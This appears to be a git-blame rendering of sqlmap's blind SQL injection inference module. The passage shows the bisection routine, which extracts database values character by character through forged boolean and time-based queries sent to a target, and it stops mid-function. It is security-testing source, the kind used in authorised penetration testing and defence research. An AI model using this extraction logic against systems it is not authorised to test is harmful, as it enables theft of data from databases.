2013-02-14 15:32:17 +04:00
|
|
|
#!/usr/bin/env python
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
"""
|
2015-01-06 17:02:16 +03:00
|
|
|
Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/)
|
2010-10-15 03:18:29 +04:00
|
|
|
See the file 'doc/COPYING' for copying permission
|
2008-10-15 19:38:22 +04:00
|
|
|
"""
|
|
|
|
|
|
|
|
import threading
|
|
|
|
import time
|
|
|
|
|
2012-02-22 14:40:11 +04:00
|
|
|
from extra.safe2bin.safe2bin import safecharencode
|
2008-10-15 19:38:22 +04:00
|
|
|
from lib.core.agent import agent
|
2011-01-28 19:36:09 +03:00
|
|
|
from lib.core.common import Backend
|
2012-06-21 14:09:10 +04:00
|
|
|
from lib.core.common import calculateDeltaSeconds
|
2008-10-15 19:38:22 +04:00
|
|
|
from lib.core.common import dataToStdout
|
2012-02-21 15:44:48 +04:00
|
|
|
from lib.core.common import decodeHexValue
|
2011-01-19 18:25:48 +03:00
|
|
|
from lib.core.common import decodeIntToUnicode
|
2011-01-05 13:25:07 +03:00
|
|
|
from lib.core.common import filterControlChars
|
2009-04-22 15:48:07 +04:00
|
|
|
from lib.core.common import getCharset
|
2012-02-10 14:24:48 +04:00
|
|
|
from lib.core.common import getCounter
|
2010-05-27 20:45:09 +04:00
|
|
|
from lib.core.common import goGoodSamaritan
|
2010-05-26 13:48:20 +04:00
|
|
|
from lib.core.common import getPartRun
|
2012-02-24 17:07:20 +04:00
|
|
|
from lib.core.common import hashDBRetrieve
|
|
|
|
from lib.core.common import hashDBWrite
|
2012-02-10 14:24:48 +04:00
|
|
|
from lib.core.common import incrementCounter
|
2010-01-15 19:06:59 +03:00
|
|
|
from lib.core.common import safeStringFormat
|
2011-06-08 18:35:23 +04:00
|
|
|
from lib.core.common import singleTimeWarnMessage
|
2008-10-15 19:38:22 +04:00
|
|
|
from lib.core.data import conf
|
|
|
|
from lib.core.data import kb
|
|
|
|
from lib.core.data import logger
|
2010-06-17 15:38:32 +04:00
|
|
|
from lib.core.data import queries
|
2012-10-09 17:19:47 +04:00
|
|
|
from lib.core.enums import ADJUST_TIME_DELAY
|
2012-06-21 14:09:10 +04:00
|
|
|
from lib.core.enums import CHARSET_TYPE
|
2010-11-08 12:20:02 +03:00
|
|
|
from lib.core.enums import DBMS
|
2010-12-08 16:04:48 +03:00
|
|
|
from lib.core.enums import PAYLOAD
|
2012-12-06 17:14:19 +04:00
|
|
|
from lib.core.exception import SqlmapThreadException
|
2010-12-10 14:32:46 +03:00
|
|
|
from lib.core.settings import CHAR_INFERENCE_MARK
|
2010-12-11 13:52:04 +03:00
|
|
|
from lib.core.settings import INFERENCE_BLANK_BREAK
|
2011-01-17 13:15:19 +03:00
|
|
|
from lib.core.settings import INFERENCE_UNKNOWN_CHAR
|
2011-01-31 18:00:41 +03:00
|
|
|
from lib.core.settings import INFERENCE_GREATER_CHAR
|
|
|
|
from lib.core.settings import INFERENCE_EQUALS_CHAR
|
2011-01-31 19:07:23 +03:00
|
|
|
from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR
|
2013-07-09 12:24:48 +04:00
|
|
|
from lib.core.settings import MAX_BISECTION_LENGTH
|
2011-08-16 10:50:20 +04:00
|
|
|
from lib.core.settings import MAX_TIME_REVALIDATION_STEPS
|
2013-01-25 19:38:41 +04:00
|
|
|
from lib.core.settings import PARTIAL_HEX_VALUE_MARKER
|
2012-02-17 18:22:48 +04:00
|
|
|
from lib.core.settings import PARTIAL_VALUE_MARKER
|
2012-05-26 11:00:26 +04:00
|
|
|
from lib.core.settings import VALID_TIME_CHARS_RUN_THRESHOLD
|
2011-07-03 02:48:56 +04:00
|
|
|
from lib.core.threads import getCurrentThreadData
|
|
|
|
from lib.core.threads import runThreads
|
2008-10-15 19:38:22 +04:00
|
|
|
from lib.core.unescaper import unescaper
|
|
|
|
from lib.request.connect import Connect as Request
|
2013-05-13 16:50:03 +04:00
|
|
|
from lib.utils.progress import ProgressBar
|
2013-01-14 19:18:03 +04:00
|
|
|
from lib.utils.xrange import xrange
|
2010-02-04 20:45:56 +03:00
|
|
|
|
2011-02-27 15:14:13 +03:00
|
|
|
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
|
2008-10-15 19:38:22 +04:00
|
|
|
"""
|
|
|
|
Bisection algorithm that can be used to perform blind SQL injection
|
|
|
|
on an affected host
|
|
|
|
"""
|
|
|
|
|
2012-07-06 19:18:22 +04:00
|
|
|
abortedFlag = False
|
2015-01-05 03:31:06 +03:00
|
|
|
showEta = False
|
2012-02-17 18:22:48 +04:00
|
|
|
partialValue = u""
|
|
|
|
finalValue = None
|
2012-10-28 15:30:21 +04:00
|
|
|
retrievedLength = 0
|
2009-04-22 15:48:07 +04:00
|
|
|
asciiTbl = getCharset(charsetType)
|
2010-12-09 02:52:31 +03:00
|
|
|
timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
|
2012-02-24 18:54:10 +04:00
|
|
|
retVal = hashDBRetrieve(expression, checkConf=True)
|
2008-12-04 20:40:03 +03:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
if retVal:
|
2013-01-25 19:38:41 +04:00
|
|
|
if PARTIAL_HEX_VALUE_MARKER in retVal:
|
|
|
|
retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "")
|
|
|
|
|
|
|
|
if retVal and conf.hexConvert:
|
|
|
|
partialValue = retVal
|
|
|
|
infoMsg = "resuming partial value: %s" % safecharencode(partialValue)
|
|
|
|
logger.info(infoMsg)
|
|
|
|
elif PARTIAL_VALUE_MARKER in retVal:
|
2012-03-16 17:16:53 +04:00
|
|
|
retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
|
2012-07-12 04:38:29 +04:00
|
|
|
|
2013-01-25 19:38:41 +04:00
|
|
|
if retVal and not conf.hexConvert:
|
2012-03-16 17:16:53 +04:00
|
|
|
partialValue = retVal
|
2012-12-17 15:30:08 +04:00
|
|
|
infoMsg = "resuming partial value: %s" % safecharencode(partialValue)
|
|
|
|
logger.info(infoMsg)
|
2012-02-17 18:22:48 +04:00
|
|
|
else:
|
2012-12-17 15:30:08 +04:00
|
|
|
infoMsg = "resumed: %s" % safecharencode(retVal)
|
|
|
|
logger.info(infoMsg)
|
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
return 0, retVal
|
|
|
|
|
|
|
|
try:
|
|
|
|
# Set kb.partRun in case "common prediction" feature (a.k.a. "good
|
2013-02-03 15:31:05 +04:00
|
|
|
# samaritan") is used or the engine is called from the API
|
2013-02-04 02:09:33 +04:00
|
|
|
if conf.predictOutput:
|
|
|
|
kb.partRun = getPartRun()
|
|
|
|
elif hasattr(conf, "api"):
|
|
|
|
kb.partRun = getPartRun(alias=False)
|
|
|
|
else:
|
|
|
|
kb.partRun = None
|
2012-02-17 18:22:48 +04:00
|
|
|
|
|
|
|
if partialValue:
|
|
|
|
firstChar = len(partialValue)
|
2012-07-06 19:05:47 +04:00
|
|
|
elif "LENGTH(" in expression.upper() or "LEN(" in expression.upper():
|
2012-02-17 18:22:48 +04:00
|
|
|
firstChar = 0
|
2013-01-09 18:38:41 +04:00
|
|
|
elif dump and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())):
|
2012-02-17 18:22:48 +04:00
|
|
|
firstChar = int(conf.firstChar) - 1
|
2013-05-07 15:25:30 +04:00
|
|
|
elif isinstance(firstChar, basestring) and firstChar.isdigit() or isinstance(firstChar, int):
|
2012-02-17 18:22:48 +04:00
|
|
|
firstChar = int(firstChar) - 1
|
2013-05-07 15:25:30 +04:00
|
|
|
else:
|
|
|
|
firstChar = 0
|
2012-02-17 18:22:48 +04:00
|
|
|
|
2012-07-06 19:05:47 +04:00
|
|
|
if "LENGTH(" in expression.upper() or "LEN(" in expression.upper():
|
2012-02-17 18:22:48 +04:00
|
|
|
lastChar = 0
|
2013-01-09 18:38:41 +04:00
|
|
|
elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit())):
|
2012-02-17 18:22:48 +04:00
|
|
|
lastChar = int(conf.lastChar)
|
2013-05-07 15:25:30 +04:00
|
|
|
elif isinstance(lastChar, basestring) and lastChar.isdigit() or isinstance(lastChar, int):
|
2012-02-17 18:22:48 +04:00
|
|
|
lastChar = int(lastChar)
|
2013-05-07 15:25:30 +04:00
|
|
|
else:
|
|
|
|
lastChar = 0
|
2012-02-17 18:22:48 +04:00
|
|
|
|
|
|
|
if Backend.getDbms():
|
|
|
|
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
|
|
|
|
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
|
|
|
|
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
|
2013-01-18 18:40:37 +04:00
|
|
|
expressionUnescaped = unescaper.escape(expressionReplaced)
|
2012-02-17 18:22:48 +04:00
|
|
|
else:
|
2013-01-18 18:40:37 +04:00
|
|
|
expressionUnescaped = unescaper.escape(expression)
|
2009-09-26 03:03:45 +04:00
|
|
|
|
2013-05-07 15:25:30 +04:00
|
|
|
if isinstance(length, basestring) and length.isdigit() or isinstance(length, int):
|
2012-02-17 18:22:48 +04:00
|
|
|
length = int(length)
|
2013-05-07 15:25:30 +04:00
|
|
|
else:
|
|
|
|
length = None
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
if length == 0:
|
|
|
|
return 0, ""
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2013-01-07 21:39:35 +04:00
|
|
|
if length and (lastChar > 0 or firstChar > 0):
|
2013-01-07 15:52:55 +04:00
|
|
|
length = min(length, lastChar or length) - firstChar
|
2011-10-28 15:11:55 +04:00
|
|
|
|
2013-07-09 12:24:48 +04:00
|
|
|
if length and length > MAX_BISECTION_LENGTH:
|
|
|
|
length = None
|
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
showEta = conf.eta and isinstance(length, int)
|
|
|
|
numThreads = min(conf.threads, length)
|
2010-03-12 17:48:33 +03:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
if showEta:
|
|
|
|
progress = ProgressBar(maxValue=length)
|
2011-05-27 12:30:52 +04:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
if timeBasedCompare and conf.threads > 1:
|
|
|
|
warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically"
|
|
|
|
singleTimeWarnMessage(warnMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
if numThreads > 1:
|
|
|
|
if not timeBasedCompare:
|
|
|
|
debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else ""))
|
|
|
|
logger.debug(debugMsg)
|
|
|
|
else:
|
|
|
|
numThreads = 1
|
2010-04-15 14:08:27 +04:00
|
|
|
|
2012-12-18 14:10:06 +04:00
|
|
|
if conf.threads == 1 and not timeBasedCompare and not conf.predictOutput:
|
2012-02-17 18:22:48 +04:00
|
|
|
warnMsg = "running in a single-thread mode. Please consider "
|
|
|
|
warnMsg += "usage of option '--threads' for faster data retrieval"
|
|
|
|
singleTimeWarnMessage(warnMsg)
|
2010-04-15 14:08:27 +04:00
|
|
|
|
2013-02-05 19:00:06 +04:00
|
|
|
if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"):
|
2012-02-17 18:22:48 +04:00
|
|
|
if isinstance(length, int) and conf.threads > 1:
|
|
|
|
dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth)))
|
|
|
|
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
|
2010-04-15 13:36:13 +04:00
|
|
|
else:
|
2012-02-24 15:25:56 +04:00
|
|
|
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
|
2010-04-15 13:36:13 +04:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
hintlock = threading.Lock()
|
2010-04-15 14:08:27 +04:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
def tryHint(idx):
|
2012-06-14 17:50:36 +04:00
|
|
|
with hintlock:
|
|
|
|
hintValue = kb.hintValue
|
2010-04-15 14:08:27 +04:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
if hintValue is not None and len(hintValue) >= idx:
|
|
|
|
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2):
|
2013-01-10 16:18:44 +04:00
|
|
|
posValue = hintValue[idx - 1]
|
2012-02-17 18:22:48 +04:00
|
|
|
else:
|
2013-01-10 16:18:44 +04:00
|
|
|
posValue = ord(hintValue[idx - 1])
|
2010-04-15 14:08:27 +04:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue))
|
|
|
|
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
|
|
|
incrementCounter(kb.technique)
|
2010-04-15 13:36:13 +04:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
if result:
|
2013-01-10 16:18:44 +04:00
|
|
|
return hintValue[idx - 1]
|
2011-02-01 01:51:14 +03:00
|
|
|
|
2012-06-14 17:50:36 +04:00
|
|
|
with hintlock:
|
|
|
|
kb.hintValue = None
|
2011-01-31 19:07:23 +03:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
return None
|
2011-01-31 19:07:23 +03:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
def validateChar(idx, value):
|
|
|
|
"""
|
|
|
|
Used in time-based inference (in case that original and retrieved
|
|
|
|
value are not equal there will be a deliberate delay).
|
|
|
|
"""
|
2010-12-10 14:32:46 +03:00
|
|
|
|
2014-03-12 00:11:51 +04:00
|
|
|
if "'%s'" % CHAR_INFERENCE_MARK not in payload:
|
2013-01-21 01:47:26 +04:00
|
|
|
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx, value))
|
|
|
|
else:
|
|
|
|
# e.g.: ... > '%c' -> ... > ORD(..)
|
|
|
|
markingValue = "'%s'" % CHAR_INFERENCE_MARK
|
|
|
|
unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value))
|
|
|
|
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
|
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
|
|
|
incrementCounter(kb.technique)
|
2010-04-15 14:08:27 +04:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
return not result
|
2010-04-15 13:36:13 +04:00
|
|
|
|
2015-08-17 00:47:11 +03:00
|
|
|
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None):
|
2012-02-17 18:22:48 +04:00
|
|
|
"""
|
|
|
|
continuousOrder means that distance between each two neighbour's
|
|
|
|
numerical values is exactly 1
|
|
|
|
"""
|
2010-12-11 13:22:18 +03:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
result = tryHint(idx)
|
2010-05-25 17:06:23 +04:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
if result:
|
|
|
|
return result
|
2010-12-12 00:17:54 +03:00
|
|
|
|
2012-03-01 14:17:39 +04:00
|
|
|
if charTbl is None:
|
2013-01-14 19:18:03 +04:00
|
|
|
charTbl = type(asciiTbl)(asciiTbl)
|
2012-03-01 14:17:39 +04:00
|
|
|
|
2014-08-28 16:26:55 +04:00
|
|
|
originalTbl = type(charTbl)(charTbl)
|
2010-05-31 19:05:29 +04:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
if continuousOrder and shiftTable is None:
|
|
|
|
# Used for gradual expanding into unicode charspace
|
2012-12-19 13:44:02 +04:00
|
|
|
shiftTable = [2, 2, 3, 3, 5, 4]
|
2010-05-25 17:06:23 +04:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
if CHAR_INFERENCE_MARK in payload and ord('\n') in charTbl:
|
|
|
|
charTbl.remove(ord('\n'))
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2012-03-01 14:17:39 +04:00
|
|
|
if not charTbl:
|
|
|
|
return None
|
|
|
|
|
|
|
|
elif len(charTbl) == 1:
|
2012-02-17 18:22:48 +04:00
|
|
|
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
|
|
|
|
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
|
|
|
incrementCounter(kb.technique)
|
2010-03-18 20:20:54 +03:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
if result:
|
|
|
|
return decodeIntToUnicode(charTbl[0])
|
|
|
|
else:
|
|
|
|
return None
|
2010-05-12 15:30:32 +04:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
maxChar = maxValue = charTbl[-1]
|
|
|
|
minChar = minValue = charTbl[0]
|
2008-10-16 18:01:14 +04:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
while len(charTbl) != 1:
|
|
|
|
position = (len(charTbl) >> 1)
|
|
|
|
posValue = charTbl[position]
|
2010-05-31 19:05:29 +04:00
|
|
|
|
2014-03-12 00:11:51 +04:00
|
|
|
if "'%s'" % CHAR_INFERENCE_MARK not in payload:
|
2012-02-17 18:22:48 +04:00
|
|
|
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
|
2010-06-17 15:38:32 +04:00
|
|
|
else:
|
2012-02-17 18:22:48 +04:00
|
|
|
# e.g.: ... > '%c' -> ... > ORD(..)
|
|
|
|
markingValue = "'%s'" % CHAR_INFERENCE_MARK
|
2013-01-18 18:40:37 +04:00
|
|
|
unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue))
|
2012-02-17 18:22:48 +04:00
|
|
|
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
|
2010-05-31 19:05:29 +04:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
|
|
|
incrementCounter(kb.technique)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
if result:
|
|
|
|
minValue = posValue
|
2010-06-17 15:38:32 +04:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
if type(charTbl) != xrange:
|
|
|
|
charTbl = charTbl[position:]
|
2010-05-28 14:01:19 +04:00
|
|
|
else:
|
2012-02-17 18:22:48 +04:00
|
|
|
# xrange() - extended virtual charset used for memory/space optimization
|
|
|
|
charTbl = xrange(charTbl[position], charTbl[-1] + 1)
|
|
|
|
else:
|
|
|
|
maxValue = posValue
|
2011-11-22 19:06:51 +04:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
if type(charTbl) != xrange:
|
|
|
|
charTbl = charTbl[:position]
|
|
|
|
else:
|
|
|
|
charTbl = xrange(charTbl[0], charTbl[position])
|
2011-08-16 10:50:20 +04:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
if len(charTbl) == 1:
|
|
|
|
if continuousOrder:
|
|
|
|
if maxValue == 1:
|
|
|
|
return None
|
2011-11-22 19:06:51 +04:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
# Going beyond the original charset
|
|
|
|
elif minValue == maxChar:
|
|
|
|
# If the original charTbl was [0,..,127] new one
|
2012-12-19 13:44:02 +04:00
|
|
|
# will be [128,..,(128 << 4) - 1] or from 128 to 2047
|
2012-02-17 18:22:48 +04:00
|
|
|
# and instead of making a HUGE list with all the
|
|
|
|
# elements we use a xrange, which is a virtual
|
|
|
|
# list
|
|
|
|
if expand and shiftTable:
|
|
|
|
charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())
|
2013-01-14 19:18:03 +04:00
|
|
|
originalTbl = xrange(charTbl)
|
2012-02-17 18:22:48 +04:00
|
|
|
maxChar = maxValue = charTbl[-1]
|
|
|
|
minChar = minValue = charTbl[0]
|
|
|
|
else:
|
|
|
|
return None
|
|
|
|
else:
|
|
|
|
retVal = minValue + 1
|
|
|
|
|
|
|
|
if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
|
|
|
|
if timeBasedCompare and not validateChar(idx, retVal):
|
|
|
|
if not kb.originalTimeDelay:
|
|
|
|
kb.originalTimeDelay = conf.timeSec
|
|
|
|
|
2012-05-26 11:04:32 +04:00
|
|
|
kb.timeValidCharsRun = 0
|
2015-08-17 00:47:11 +03:00
|
|
|
if retried < MAX_TIME_REVALIDATION_STEPS:
|
2012-02-17 18:22:48 +04:00
|
|
|
errMsg = "invalid character detected. retrying.."
|
|
|
|
logger.error(errMsg)
|
|
|
|
|
2015-05-04 22:47:10 +03:00
|
|
|
if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:
|
|
|
|
conf.timeSec += 1
|
|
|
|
warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '')
|
|
|
|
logger.warn(warnMsg)
|
2012-02-17 18:22:48 +04:00
|
|
|
|
2012-10-09 17:19:47 +04:00
|
|
|
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
|
2012-05-26 11:00:26 +04:00
|
|
|
dbgMsg = "turning off time auto-adjustment mechanism"
|
2012-02-17 18:22:48 +04:00
|
|
|
logger.debug(dbgMsg)
|
2012-10-09 17:19:47 +04:00
|
|
|
kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO
|
2012-02-29 19:51:23 +04:00
|
|
|
|
2015-08-17 00:47:11 +03:00
|
|
|
return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1)
|
2012-02-17 18:22:48 +04:00
|
|
|
else:
|
|
|
|
errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal)
|
|
|
|
logger.error(errMsg)
|
|
|
|
conf.timeSec = kb.originalTimeDelay
|
|
|
|
return decodeIntToUnicode(retVal)
|
2011-08-16 10:50:20 +04:00
|
|
|
else:
|
2012-05-26 11:00:26 +04:00
|
|
|
if timeBasedCompare:
|
|
|
|
kb.timeValidCharsRun += 1
|
2012-10-09 17:19:47 +04:00
|
|
|
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and kb.timeValidCharsRun > VALID_TIME_CHARS_RUN_THRESHOLD:
|
2012-05-26 11:01:37 +04:00
|
|
|
dbgMsg = "turning back on time auto-adjustment mechanism"
|
2012-05-26 11:00:26 +04:00
|
|
|
logger.debug(dbgMsg)
|
2012-10-09 17:19:47 +04:00
|
|
|
kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES
|
2012-10-28 15:22:33 +04:00
|
|
|
|
2011-08-16 11:01:14 +04:00
|
|
|
return decodeIntToUnicode(retVal)
|
2011-01-31 19:07:23 +03:00
|
|
|
else:
|
2012-02-17 18:22:48 +04:00
|
|
|
return None
|
|
|
|
else:
|
|
|
|
if minValue == maxChar or maxValue == minChar:
|
2010-12-11 13:22:18 +03:00
|
|
|
return None
|
2010-05-31 19:05:29 +04:00
|
|
|
|
2014-08-28 16:26:55 +04:00
|
|
|
for index in xrange(len(originalTbl)):
|
|
|
|
if originalTbl[index] == minValue:
|
|
|
|
break
|
|
|
|
|
|
|
|
# If we are working with non-continuous elements, both minValue and character after
|
|
|
|
# are possible candidates
|
|
|
|
for retVal in (originalTbl[index], originalTbl[index + 1]):
|
2012-02-17 18:22:48 +04:00
|
|
|
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal))
|
|
|
|
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
|
|
|
incrementCounter(kb.technique)
|
2010-05-31 19:05:29 +04:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
if result:
|
|
|
|
return decodeIntToUnicode(retVal)
|
2010-05-31 19:05:29 +04:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
return None
|
2010-02-04 20:45:56 +03:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
# Go multi-threading (--threads > 1)
|
|
|
|
if conf.threads > 1 and isinstance(length, int) and length > 1:
|
|
|
|
threadData = getCurrentThreadData()
|
2011-07-03 02:48:56 +04:00
|
|
|
|
2013-01-10 14:54:07 +04:00
|
|
|
threadData.shared.value = [None] * length
|
|
|
|
threadData.shared.index = [firstChar] # As list for python nested function scoping
|
2012-02-17 18:22:48 +04:00
|
|
|
threadData.shared.start = firstChar
|
2011-07-03 02:48:56 +04:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
try:
|
|
|
|
def blindThread():
|
|
|
|
threadData = getCurrentThreadData()
|
2011-07-03 02:48:56 +04:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
while kb.threadContinue:
|
|
|
|
kb.locks.index.acquire()
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2013-01-07 15:52:55 +04:00
|
|
|
if threadData.shared.index[0] - firstChar >= length:
|
2012-02-17 18:22:48 +04:00
|
|
|
kb.locks.index.release()
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
return
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
threadData.shared.index[0] += 1
|
|
|
|
curidx = threadData.shared.index[0]
|
|
|
|
kb.locks.index.release()
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
if kb.threadContinue:
|
|
|
|
charStart = time.time()
|
|
|
|
val = getChar(curidx)
|
|
|
|
if val is None:
|
|
|
|
val = INFERENCE_UNKNOWN_CHAR
|
|
|
|
else:
|
|
|
|
break
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2012-06-14 17:50:36 +04:00
|
|
|
with kb.locks.value:
|
2013-01-07 15:52:55 +04:00
|
|
|
threadData.shared.value[curidx - 1 - firstChar] = val
|
2012-06-14 17:50:36 +04:00
|
|
|
currentValue = list(threadData.shared.value)
|
2008-12-04 20:40:03 +03:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
if kb.threadContinue:
|
|
|
|
if showEta:
|
2013-05-09 18:23:57 +04:00
|
|
|
progress.progress(time.time() - charStart, threadData.shared.index[0])
|
2012-02-17 18:22:48 +04:00
|
|
|
elif conf.verbose >= 1:
|
|
|
|
startCharIndex = 0
|
|
|
|
endCharIndex = 0
|
2010-03-25 19:26:50 +03:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
for i in xrange(length):
|
|
|
|
if currentValue[i] is not None:
|
|
|
|
endCharIndex = max(endCharIndex, i)
|
2010-03-25 19:26:50 +03:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
output = ''
|
2010-03-25 19:26:50 +03:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
if endCharIndex > conf.progressWidth:
|
|
|
|
startCharIndex = endCharIndex - conf.progressWidth
|
2010-03-25 19:26:50 +03:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
count = threadData.shared.start
|
2010-03-25 19:26:50 +03:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
for i in xrange(startCharIndex, endCharIndex + 1):
|
|
|
|
output += '_' if currentValue[i] is None else currentValue[i]
|
2010-03-22 20:38:19 +03:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
for i in xrange(length):
|
|
|
|
count += 1 if currentValue[i] is not None else 0
|
2010-03-22 20:38:19 +03:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
if startCharIndex > 0:
|
|
|
|
output = '..' + output[2:]
|
2010-03-22 20:38:19 +03:00
|
|
|
|
2013-01-10 16:18:44 +04:00
|
|
|
if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1):
|
2012-02-17 18:22:48 +04:00
|
|
|
output = output[:-2] + '..'
|
2010-03-22 20:38:19 +03:00
|
|
|
|
2013-02-05 19:00:06 +04:00
|
|
|
if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"):
|
2013-01-07 21:53:08 +04:00
|
|
|
_ = count - firstChar
|
2012-02-17 18:22:48 +04:00
|
|
|
output += '_' * (min(length, conf.progressWidth) - len(output))
|
2013-01-09 19:10:26 +04:00
|
|
|
status = ' %d/%d (%d%%)' % (_, length, round(100.0 * _ / length))
|
2013-01-07 21:53:08 +04:00
|
|
|
output += status if _ != length else " " * len(status)
|
2011-01-12 00:46:21 +03:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output)))
|
2008-12-04 20:40:03 +03:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
runThreads(numThreads, blindThread, startThreadMsg=False)
|
2010-07-19 12:37:45 +04:00
|
|
|
|
